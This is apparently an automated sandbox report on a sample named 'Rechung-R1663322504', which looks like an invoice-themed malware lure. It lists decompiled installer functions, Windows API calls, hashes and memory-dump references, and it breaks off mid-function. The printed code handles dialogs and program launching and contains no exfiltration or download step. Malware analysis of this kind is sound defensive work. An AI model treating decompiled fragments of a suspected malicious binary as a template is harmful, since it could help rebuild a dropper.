Snapshot File: hcaresult_1_2_400000_Rechung-R1663322504.jbxd

Similarity

API ID: FilePointer
String ID:
API String ID: 973152223-0
Opcode ID: d5a77a7b91dde00220c09aa0a832f43c90240fc94845358d4caa889c1b96a79f
Instruction ID: c7266a3154837caca095f11e7777f6dda2278cbf6cff4ee7664d3894fc3aa091
Opcode Fuzzy Hash: d5a77a7b91dde00220c09aa0a832f43c90240fc94845358d4caa889c1b96a79f
Instruction Fuzzy Hash: ECB01271240300BFDA214F00DF09F057B21AB90700F10C034B348380F086711035EB0D

Uniqueness

Uniqueness Score: -1.00%

Function 00404229 Relevance: 1.5, APIs: 1, Instructions: 6
windowCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00404229(int _a4) {
				long _t2;

				_t2 = SendMessageW( *0x7a8a28, 0x28, _a4, 1); // executed
				return _t2;
			}

0x00404237
0x0040423d

APIs

SendMessageW.USER32(00000028,?,00000001,00404054), ref: 00404237

Memory Dump Source

Source File: 00000001.00000002.52367984992.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.52367921473.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368070518.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.0000000000789000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.00000000007D0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52369489779.00000000007D3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Rechung-R1663322504.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: f360a53124e97c409135d1b53ccadec94ff58fec8389da7a5f3de8c8d06ef766
Instruction ID: 5dee82f2d739acac93035fb571c052082ac1606baee7bb158d490297d0aa81d3
Opcode Fuzzy Hash: f360a53124e97c409135d1b53ccadec94ff58fec8389da7a5f3de8c8d06ef766
Instruction Fuzzy Hash: 99B09236190A00AADE614B40DE49F457A62A7A8701F00C029B240640B0CAB200A0DB09

Uniqueness

Uniqueness Score: -1.00%

Function 00405887 Relevance: 1.5, APIs: 1, Instructions: 6
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00405887(struct _SHELLEXECUTEINFOW* _a4) {
				struct _SHELLEXECUTEINFOW* _t4;
				int _t5;

				_t4 = _a4;
				_t4->lpIDList = _t4->lpIDList & 0x00000000;
				_t4->cbSize = 0x3c; // executed
				_t5 = ShellExecuteExW(_t4); // executed
				return _t5;
			}

0x00405887
0x0040588c
0x00405890
0x00405896
0x0040589c

APIs

ShellExecuteExW.SHELL32(?), ref: 00405896

Memory Dump Source

Source File: 00000001.00000002.52367984992.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.52367921473.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368070518.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.0000000000789000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.00000000007D0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52369489779.00000000007D3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Rechung-R1663322504.jbxd

Similarity

API ID: ExecuteShell
String ID:
API String ID: 587946157-0
Opcode ID: 635164c3b06ed96bf07ad63cc2cf624e21a1ddaff933affe27173adac056c9f0
Instruction ID: 322818d701d9cc3fc85427ca8463de8bac6637280c84b784c1803e53dd53602d
Opcode Fuzzy Hash: 635164c3b06ed96bf07ad63cc2cf624e21a1ddaff933affe27173adac056c9f0
Instruction Fuzzy Hash: 55C092B2000200DFE301CF90CB08F067BF8AF59306F028058E1849A160C7788800CB69

Uniqueness

Uniqueness Score: -1.00%

Function 00404216 Relevance: 1.5, APIs: 1, Instructions: 4
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00404216(int _a4) {
				int _t2;

				_t2 = EnableWindow( *0x7a1f1c, _a4); // executed
				return _t2;
			}

0x00404220
0x00404226

APIs

KiUserCallbackDispatcher.NTDLL(?,00403FED), ref: 00404220

Memory Dump Source

Source File: 00000001.00000002.52367984992.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.52367921473.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368070518.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.0000000000789000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.00000000007D0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52369489779.00000000007D3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Rechung-R1663322504.jbxd

Similarity

API ID: CallbackDispatcherUser
String ID:
API String ID: 2492992576-0
Opcode ID: efc6552eadcfffb9f020cd3683497eb6feb0237cfd1954b00ec8dcd11a4bd103
Instruction ID: 2198674f4dd135e02f2a8ae7056ebba5a8e761495b22eeaea90ee2a366c7106d
Opcode Fuzzy Hash: efc6552eadcfffb9f020cd3683497eb6feb0237cfd1954b00ec8dcd11a4bd103
Instruction Fuzzy Hash: 0AA002754455409FDF015B50EF048057A61B7E5741B61C469A25551074C7354461EB19

Uniqueness

Uniqueness Score: -1.00%

Function 1000121B Relevance: 1.3, APIs: 1, Instructions: 6
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E1000121B() {
				void* _t3;

				_t3 = GlobalAlloc(0x40,  *0x1000406c +  *0x1000406c); // executed
				return _t3;
			}

0x10001225
0x1000122b

APIs

GlobalAlloc.KERNELBASE(00000040,?,1000123B,?,100012DF,00000019,100011BE,-000000A0), ref: 10001225

Memory Dump Source

Source File: 00000001.00000002.52425263791.0000000010001000.00000020.00000001.01000000.00000006.sdmp, Offset: 10000000, based on PE: true

Associated: 00000001.00000002.52425241360.0000000010000000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.52425288590.0000000010003000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.52425312463.0000000010005000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_10000000_Rechung-R1663322504.jbxd

Similarity

API ID: AllocGlobal
String ID:
API String ID: 3761449716-0
Opcode ID: 9c514497dbeefca74e47a404b0d43d99d31e609484f565d326becb97793310f2
Instruction ID: 8a0ecea123cfc10dc9c303f5c75fb6a011d4279a03f0c54a853e6fb6a4ccb70c
Opcode Fuzzy Hash: 9c514497dbeefca74e47a404b0d43d99d31e609484f565d326becb97793310f2
Instruction Fuzzy Hash: E3B012B0A00010DFFE00CB64CC8AF363358D740340F018000F701D0158C53088108638

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 00404C3F Relevance: 63.5, APIs: 33, Strings: 3, Instructions: 481
windowmemoryCOMMONCrypto

Download Yara Rule

C-Code - Quality: 96%

			E00404C3F(struct HWND__* _a4, int _a8, signed int _a12, int _a16) {
				struct HWND__* _v8;
				struct HWND__* _v12;
				signed int _v16;
				signed int _v20;
				intOrPtr _v24;
				signed char* _v28;
				long _v32;
				signed int _v40;
				int _v44;
				signed int* _v56;
				signed char* _v60;
				signed int _v64;
				long _v68;
				void* _v72;
				intOrPtr _v76;
				intOrPtr _v80;
				void* _v84;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t192;
				intOrPtr _t195;
				intOrPtr _t197;
				long _t201;
				signed int _t205;
				signed int _t216;
				void* _t219;
				void* _t220;
				int _t226;
				signed int _t231;
				signed int _t232;
				signed int _t233;
				signed int _t239;
				signed int _t241;
				signed char _t242;
				signed char _t248;
				void* _t252;
				void* _t254;
				signed char* _t270;
				signed char _t271;
				long _t276;
				int _t282;
				signed int _t283;
				long _t284;
				signed int _t287;
				signed int _t294;
				signed char* _t302;
				struct HWND__* _t306;
				int _t307;
				signed int* _t308;
				int _t309;
				long _t310;
				signed int _t311;
				void* _t313;
				long _t314;
				int _t315;
				signed int _t316;
				void* _t318;

				_t306 = _a4;
				_v12 = GetDlgItem(_t306, 0x3f9);
				_v8 = GetDlgItem(_t306, 0x408);
				_t318 = SendMessageW;
				_v20 =  *0x7a8a68;
				_t282 = 0;
				_v24 =  *0x7a8a34 + 0x94;
				if(_a8 != 0x110) {
					L23:
					if(_a8 != 0x405) {
						_t285 = _a16;
					} else {
						_a12 = _t282;
						_t285 = 1;
						_a8 = 0x40f;
						_a16 = 1;
					}
					if(_a8 == 0x4e || _a8 == 0x413) {
						_v16 = _t285;
						if(_a8 == 0x413 ||  *((intOrPtr*)(_t285 + 4)) == 0x408) {
							if(( *0x7a8a3d & 0x00000002) != 0) {
								L41:
								if(_v16 != _t282) {
									_t231 = _v16;
									if( *((intOrPtr*)(_t231 + 8)) == 0xfffffe3d) {
										SendMessageW(_v8, 0x419, _t282,  *(_t231 + 0x5c));
									}
									_t232 = _v16;
									if( *((intOrPtr*)(_t232 + 8)) == 0xfffffe39) {
										_t285 = _v20;
										_t233 =  *(_t232 + 0x5c);
										if( *((intOrPtr*)(_t232 + 0xc)) != 2) {
											 *(_t233 * 0x818 + _t285 + 8) =  *(_t233 * 0x818 + _t285 + 8) & 0xffffffdf;
										} else {
											 *(_t233 * 0x818 + _t285 + 8) =  *(_t233 * 0x818 + _t285 + 8) | 0x00000020;
										}
									}
								}
								goto L48;
							}
							if(_a8 == 0x413) {
								L33:
								_t285 = 0 | _a8 != 0x00000413;
								_t239 = E00404B8D(_v8, _a8 != 0x413);
								_t311 = _t239;
								if(_t311 >= _t282) {
									_t88 = _v20 + 8; // 0x8
									_t285 = _t239 * 0x818 + _t88;
									_t241 =  *_t285;
									if((_t241 & 0x00000010) == 0) {
										if((_t241 & 0x00000040) == 0) {
											_t242 = _t241 ^ 0x00000001;
										} else {
											_t248 = _t241 ^ 0x00000080;
											if(_t248 >= 0) {
												_t242 = _t248 & 0x000000fe;
											} else {
												_t242 = _t248 | 0x00000001;
											}
										}
										 *_t285 = _t242;
										E0040117D(_t311);
										_a12 = _t311 + 1;
										_a16 =  !( *0x7a8a3c) >> 0x00000008 & 0x00000001;
										_a8 = 0x40f;
									}
								}
								goto L41;
							}
							_t285 = _a16;
							if( *((intOrPtr*)(_a16 + 8)) != 0xfffffffe) {
								goto L41;
							}
							goto L33;
						} else {
							goto L48;
						}
					} else {
						L48:
						if(_a8 != 0x111) {
							L56:
							if(_a8 == 0x200) {
								SendMessageW(_v8, 0x200, _t282, _t282);
							}
							if(_a8 == 0x40b) {
								_t219 =  *0x7a1f04;
								if(_t219 != _t282) {
									ImageList_Destroy(_t219);
								}
								_t220 =  *0x7a1f18;
								if(_t220 != _t282) {
									GlobalFree(_t220);
								}
								 *0x7a1f04 = _t282;
								 *0x7a1f18 = _t282;
								 *0x7a8aa0 = _t282;
							}
							if(_a8 != 0x40f) {
								L88:
								if(_a8 == 0x420 && ( *0x7a8a3d & 0x00000001) != 0) {
									_t307 = (0 | _a16 == 0x00000020) << 3;
									ShowWindow(_v8, _t307);
									ShowWindow(GetDlgItem(_a4, 0x3fe), _t307);
								}
								goto L91;
							} else {
								E004011EF(_t285, _t282, _t282);
								_t192 = _a12;
								if(_t192 != _t282) {
									if(_t192 != 0xffffffff) {
										_t192 = _t192 - 1;
									}
									_push(_t192);
									_push(8);
									E00404C0D();
								}
								if(_a16 == _t282) {
									L75:
									E004011EF(_t285, _t282, _t282);
									_v32 =  *0x7a1f18;
									_t195 =  *0x7a8a68;
									_v60 = 0xf030;
									_v20 = _t282;
									if( *0x7a8a6c <= _t282) {
										L86:
										InvalidateRect(_v8, _t282, 1);
										_t197 =  *0x7a79fc; // 0xa5dd06
										if( *((intOrPtr*)(_t197 + 0x10)) != _t282) {
											E00404B48(0x3ff, 0xfffffffb, E00404B60(5));
										}
										goto L88;
									}
									_t308 = _t195 + 8;
									do {
										_t201 =  *((intOrPtr*)(_v32 + _v20 * 4));
										if(_t201 != _t282) {
											_t287 =  *_t308;
											_v68 = _t201;
											_v72 = 8;
											if((_t287 & 0x00000001) != 0) {
												_v72 = 9;
												_v56 =  &(_t308[4]);
												_t308[0] = _t308[0] & 0x000000fe;
											}
											if((_t287 & 0x00000040) == 0) {
												_t205 = (_t287 & 0x00000001) + 1;
												if((_t287 & 0x00000010) != 0) {
													_t205 = _t205 + 3;
												}
											} else {
												_t205 = 3;
											}
											_v64 = (_t205 << 0x0000000b | _t287 & 0x00000008) + (_t205 << 0x0000000b | _t287 & 0x00000008) | _t287 & 0x00000020;
											SendMessageW(_v8, 0x1102, (_t287 >> 0x00000005 & 0x00000001) + 1, _v68);
											SendMessageW(_v8, 0x113f, _t282,  &_v72);
										}
										_v20 = _v20 + 1;
										_t308 =  &(_t308[0x206]);
									} while (_v20 <  *0x7a8a6c);
									goto L86;
								} else {
									_t309 = E004012E2( *0x7a1f18);
									E00401299(_t309);
									_t216 = 0;
									_t285 = 0;
									if(_t309 <= _t282) {
										L74:
										SendMessageW(_v12, 0x14e, _t285, _t282);
										_a16 = _t309;
										_a8 = 0x420;
										goto L75;
									} else {
										goto L71;
									}
									do {
										L71:
										if( *((intOrPtr*)(_v24 + _t216 * 4)) != _t282) {
											_t285 = _t285 + 1;
										}
										_t216 = _t216 + 1;
									} while (_t216 < _t309);
									goto L74;
								}
							}
						}
						if(_a12 != 0x3f9 || _a12 >> 0x10 != 1) {
							goto L91;
						} else {
							_t226 = SendMessageW(_v12, 0x147, _t282, _t282);
							if(_t226 == 0xffffffff) {
								goto L91;
							}
							_t310 = SendMessageW(_v12, 0x150, _t226, _t282);
							if(_t310 == 0xffffffff ||  *((intOrPtr*)(_v24 + _t310 * 4)) == _t282) {
								_t310 = 0x20;
							}
							E00401299(_t310);
							SendMessageW(_a4, 0x420, _t282, _t310);
							_a12 = _a12 | 0xffffffff;
							_a16 = _t282;
							_a8 = 0x40f;
							goto L56;
						}
					}
				} else {
					_v32 = 0;
					_v16 = 2;
					 *0x7a8aa0 = _t306;
					 *0x7a1f18 = GlobalAlloc(0x40,  *0x7a8a6c << 2);
					_t252 = LoadBitmapW( *0x7a8a20, 0x6e);
					 *0x7a1f0c =  *0x7a1f0c | 0xffffffff;
					_t313 = _t252;
					 *0x7a1f14 = SetWindowLongW(_v8, 0xfffffffc, E00405237);
					_t254 = ImageList_Create(0x10, 0x10, 0x21, 6, 0);
					 *0x7a1f04 = _t254;
					ImageList_AddMasked(_t254, _t313, 0xff00ff);
					SendMessageW(_v8, 0x1109, 2,  *0x7a1f04);
					if(SendMessageW(_v8, 0x111c, 0, 0) < 0x10) {
						SendMessageW(_v8, 0x111b, 0x10, 0);
					}
					DeleteObject(_t313);
					_t314 = 0;
					do {
						_t260 =  *((intOrPtr*)(_v24 + _t314 * 4));
						if( *((intOrPtr*)(_v24 + _t314 * 4)) != _t282) {
							if(_t314 != 0x20) {
								_v16 = _t282;
							}
							SendMessageW(_v12, 0x151, SendMessageW(_v12, 0x143, _t282, E00406281(_t282, _t314, _t318, _t282, _t260)), _t314);
						}
						_t314 = _t314 + 1;
					} while (_t314 < 0x21);
					_t315 = _a16;
					_t283 = _v16;
					_push( *((intOrPtr*)(_t315 + 0x30 + _t283 * 4)));
					_push(0x15);
					E004041F4(_a4);
					_push( *((intOrPtr*)(_t315 + 0x34 + _t283 * 4)));
					_push(0x16);
					E004041F4(_a4);
					_t316 = 0;
					_t284 = 0;
					if( *0x7a8a6c <= 0) {
						L19:
						SetWindowLongW(_v8, 0xfffffff0, GetWindowLongW(_v8, 0xfffffff0) & 0x000000fb);
						goto L20;
					} else {
						_t302 = _v20 + 8;
						_v28 = _t302;
						do {
							_t270 =  &(_t302[0x10]);
							if( *_t270 != 0) {
								_v60 = _t270;
								_t271 =  *_t302;
								_t294 = 0x20;
								_v84 = _t284;
								_v80 = 0xffff0002;
								_v76 = 0xd;
								_v64 = _t294;
								_v40 = _t316;
								_v68 = _t271 & _t294;
								if((_t271 & 0x00000002) == 0) {
									if((_t271 & 0x00000004) == 0) {
										 *( *0x7a1f18 + _t316 * 4) = SendMessageW(_v8, 0x1132, 0,  &_v84);
									} else {
										_t284 = SendMessageW(_v8, 0x110a, 3, _t284);
									}
								} else {
									_v76 = 0x4d;
									_v44 = 1;
									_t276 = SendMessageW(_v8, 0x1132, 0,  &_v84);
									_v32 = 1;
									 *( *0x7a1f18 + _t316 * 4) = _t276;
									_t284 =  *( *0x7a1f18 + _t316 * 4);
								}
							}
							_t316 = _t316 + 1;
							_t302 =  &(_v28[0x818]);
							_v28 = _t302;
						} while (_t316 <  *0x7a8a6c);
						if(_v32 != 0) {
							L20:
							if(_v16 != 0) {
								E00404229(_v8);
								_t282 = 0;
								goto L23;
							} else {
								ShowWindow(_v12, 5);
								E00404229(_v12);
								L91:
								return E0040425B(_a8, _a12, _a16);
							}
						}
						goto L19;
					}
				}
			}

0x00404c4e
0x00404c5f
0x00404c64
0x00404c6c
0x00404c72
0x00404c7a
0x00404c88
0x00404c8b
0x00404eac
0x00404eb3
0x00404ec7
0x00404eb5
0x00404eb7
0x00404eba
0x00404ebb
0x00404ec2
0x00404ec2
0x00404ed3
0x00404ee1
0x00404ee4
0x00404efa
0x00404f6f
0x00404f72
0x00404f74
0x00404f7e
0x00404f8c
0x00404f8c
0x00404f8e
0x00404f98
0x00404f9e
0x00404fa1
0x00404fa4
0x00404fbf
0x00404fa6
0x00404fb0
0x00404fb0
0x00404fa4
0x00404f98
0x00000000
0x00404f72
0x00404eff
0x00404f0a
0x00404f0f
0x00404f16
0x00404f1b
0x00404f1f
0x00404f2a
0x00404f2a
0x00404f2e
0x00404f32
0x00404f36
0x00404f49
0x00404f38
0x00404f38
0x00404f3f
0x00404f45
0x00404f41
0x00404f41
0x00404f41
0x00404f3f
0x00404f4d
0x00404f4f
0x00404f62
0x00404f65
0x00404f68
0x00404f68
0x00404f32
0x00000000
0x00404f1f
0x00404f01
0x00404f08
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00404fc2
0x00404fc2
0x00404fc9
0x0040503a
0x00405042
0x0040504a
0x0040504a
0x00405053
0x00405055
0x0040505c
0x0040505f
0x0040505f
0x00405065
0x0040506c
0x0040506f
0x0040506f
0x00405075
0x0040507b
0x00405081
0x00405081
0x0040508e
0x004051e4
0x004051eb
0x00405208
0x0040520e
0x00405220
0x00405220
0x00000000
0x00405094
0x00405096
0x0040509b
0x004050a0
0x004050a5
0x004050a7
0x004050a7
0x004050a8
0x004050a9
0x004050ab
0x004050ab
0x004050b3
0x004050f4
0x004050f6
0x00405106
0x00405109
0x0040510e
0x00405115
0x00405118
0x004051ba
0x004051c0
0x004051c6
0x004051ce
0x004051df
0x004051df
0x00000000
0x004051ce
0x0040511e
0x00405121
0x00405127
0x0040512c
0x0040512e
0x00405130
0x00405136
0x0040513d
0x00405142
0x00405149
0x0040514c
0x0040514c
0x00405153
0x0040515f
0x00405163
0x00405165
0x00405165
0x00405155
0x00405157
0x00405157
0x00405185
0x00405191
0x004051a0
0x004051a0
0x004051a2
0x004051a5
0x004051ae
0x00000000
0x004050b5
0x004050c0
0x004050c3
0x004050c8
0x004050ca
0x004050ce
0x004050de
0x004050e8
0x004050ea
0x004050ed
0x00000000
0x00000000
0x00000000
0x00000000
0x004050d0
0x004050d0
0x004050d6
0x004050d8
0x004050d8
0x004050d9
0x004050da
0x00000000
0x004050d0
0x004050b3
0x0040508e
0x00404fd1
0x00000000
0x00404fe7
0x00404ff1
0x00404ff6
0x00000000
0x00000000
0x00405008
0x0040500d
0x00405019
0x00405019
0x0040501b
0x0040502a
0x0040502c
0x00405030
0x00405033
0x00000000
0x00405033
0x00404fd1
0x00404c91
0x00404c96
0x00404c9f
0x00404ca6
0x00404cb4
0x00404cbf
0x00404cc5
0x00404cd3
0x00404ce7
0x00404cec
0x00404cf9
0x00404cfe
0x00404d14
0x00404d25
0x00404d32
0x00404d32
0x00404d35
0x00404d3b
0x00404d3d
0x00404d40
0x00404d45
0x00404d4a
0x00404d4c
0x00404d4c
0x00404d6c
0x00404d6c
0x00404d6e
0x00404d6f
0x00404d74
0x00404d77
0x00404d7a
0x00404d7e
0x00404d83
0x00404d88
0x00404d8c
0x00404d91
0x00404d96
0x00404d98
0x00404da0
0x00404e6b
0x00404e7e
0x00000000
0x00404da6
0x00404da9
0x00404dac
0x00404daf
0x00404daf
0x00404db6
0x00404dbc
0x00404dbf
0x00404dc5
0x00404dc6
0x00404dcb
0x00404dd4
0x00404ddb
0x00404dde
0x00404de1
0x00404de4
0x00404e20
0x00404e49
0x00404e22
0x00404e2f
0x00404e2f
0x00404de6
0x00404de9
0x00404df8
0x00404e02
0x00404e0a
0x00404e11
0x00404e19
0x00404e19
0x00404de4
0x00404e4f
0x00404e50
0x00404e5c
0x00404e5c
0x00404e69
0x00404e84
0x00404e88
0x00404ea5
0x00404eaa
0x00000000
0x00404e8a
0x00404e8f
0x00404e98
0x00405222
0x00405234
0x00405234
0x00404e88
0x00000000
0x00404e69
0x00404da0

APIs

GetDlgItem.USER32(?,000003F9), ref: 00404C57
GetDlgItem.USER32(?,00000408), ref: 00404C62
GlobalAlloc.KERNEL32(00000040,?), ref: 00404CAC
LoadBitmapW.USER32(0000006E), ref: 00404CBF
SetWindowLongW.USER32(?,000000FC,00405237), ref: 00404CD8
ImageList_Create.COMCTL32(00000010,00000010,00000021,00000006,00000000), ref: 00404CEC
ImageList_AddMasked.COMCTL32(00000000,00000000,00FF00FF), ref: 00404CFE
SendMessageW.USER32(?,00001109,00000002), ref: 00404D14
SendMessageW.USER32(?,0000111C,00000000,00000000), ref: 00404D20
SendMessageW.USER32(?,0000111B,00000010,00000000), ref: 00404D32
DeleteObject.GDI32(00000000), ref: 00404D35
SendMessageW.USER32(?,00000143,00000000,00000000), ref: 00404D60
SendMessageW.USER32(?,00000151,00000000,00000000), ref: 00404D6C
SendMessageW.USER32(?,00001132,00000000,?), ref: 00404E02
SendMessageW.USER32(?,0000110A,00000003,00000000), ref: 00404E2D
SendMessageW.USER32(?,00001132,00000000,?), ref: 00404E41
GetWindowLongW.USER32(?,000000F0), ref: 00404E70
SetWindowLongW.USER32(?,000000F0,00000000), ref: 00404E7E
ShowWindow.USER32(?,00000005), ref: 00404E8F
SendMessageW.USER32(?,00000419,00000000,?), ref: 00404F8C
SendMessageW.USER32(?,00000147,00000000,00000000), ref: 00404FF1
SendMessageW.USER32(?,00000150,00000000,00000000), ref: 00405006
SendMessageW.USER32(?,00000420,00000000,00000020), ref: 0040502A
SendMessageW.USER32(?,00000200,00000000,00000000), ref: 0040504A
ImageList_Destroy.COMCTL32(?), ref: 0040505F
GlobalFree.KERNEL32(?), ref: 0040506F
SendMessageW.USER32(?,0000014E,00000000,00000000), ref: 004050E8
SendMessageW.USER32(?,00001102,?,?), ref: 00405191
SendMessageW.USER32(?,0000113F,00000000,00000008), ref: 004051A0
InvalidateRect.USER32(?,00000000,00000001), ref: 004051C0
ShowWindow.USER32(?,00000000), ref: 0040520E
GetDlgItem.USER32(?,000003FE), ref: 00405219
ShowWindow.USER32(00000000), ref: 00405220

Strings

M, xrefs: 00404DE9
, xrefs: 004051F8
N, xrefs: 00404ECA

Memory Dump Source

Source File: 00000001.00000002.52367984992.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.52367921473.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368070518.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.0000000000789000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.00000000007D0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52369489779.00000000007D3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Rechung-R1663322504.jbxd

Similarity

API ID: MessageSend$Window$ImageItemList_LongShow$Global$AllocBitmapCreateDeleteDestroyFreeInvalidateLoadMaskedObjectRect
String ID: $M$N
API String ID: 1638840714-813528018
Opcode ID: 2a8d2b1b835dddd3ef8fccbadf0c4469f35e6d9d857936f0c15a10a11b3b539c
Instruction ID: 12ef5a05c60c6c20dcbbeb1066bc3531ea5280fcb44ea9637735f2a88fa268fa
Opcode Fuzzy Hash: 2a8d2b1b835dddd3ef8fccbadf0c4469f35e6d9d857936f0c15a10a11b3b539c
Instruction Fuzzy Hash: 670260B0900209EFEB109F64DD85AAE7BB5FB85314F10817AF610BA2E1DB799D41CF58

Uniqueness

Uniqueness Score: -1.00%

Function 004046C3 Relevance: 23.0, APIs: 10, Strings: 3, Instructions: 275
stringCOMMON

Download Yara Rule

C-Code - Quality: 78%

			E004046C3(unsigned int __edx, struct HWND__* _a4, intOrPtr _a8, unsigned int _a12, intOrPtr _a16) {
				signed int _v8;
				signed int _v12;
				long _v16;
				long _v20;
				long _v24;
				char _v28;
				intOrPtr _v32;
				long _v36;
				char _v40;
				unsigned int _v44;
				signed int _v48;
				WCHAR* _v56;
				intOrPtr _v60;
				intOrPtr _v64;
				intOrPtr _v68;
				WCHAR* _v72;
				void _v76;
				struct HWND__* _v80;
				void* __ebx;
				void* __edi;
				void* __esi;
				intOrPtr _t82;
				long _t87;
				short* _t89;
				void* _t95;
				signed int _t96;
				int _t109;
				signed short _t114;
				signed int _t118;
				struct HWND__** _t122;
				intOrPtr* _t138;
				WCHAR* _t146;
				intOrPtr _t147;
				unsigned int _t150;
				signed int _t152;
				unsigned int _t156;
				signed int _t158;
				signed int* _t159;
				signed int* _t160;
				struct HWND__* _t166;
				struct HWND__* _t167;
				int _t169;
				unsigned int _t197;

				_t156 = __edx;
				_t82 =  *0x7a0ef8; // 0xa5b304
				_v32 = _t82;
				_t2 = _t82 + 0x3c; // 0x0
				_t3 = _t82 + 0x38; // 0x0
				_t146 = ( *_t2 << 0xb) + 0x7a9000;
				_v12 =  *_t3;
				if(_a8 == 0x40b) {
					E004058A5(0x3fb, _t146);
					E004064F3(_t146);
				}
				_t167 = _a4;
				if(_a8 != 0x110) {
					L8:
					if(_a8 != 0x111) {
						L20:
						if(_a8 == 0x40f) {
							L22:
							_v8 = _v8 & 0x00000000;
							_v12 = _v12 & 0x00000000;
							E004058A5(0x3fb, _t146);
							if(E00405C38(_t186, _t146) == 0) {
								_v8 = 1;
							}
							E0040625F(0x79fef0, _t146);
							_t87 = E00406639(1);
							_v16 = _t87;
							if(_t87 == 0) {
								L30:
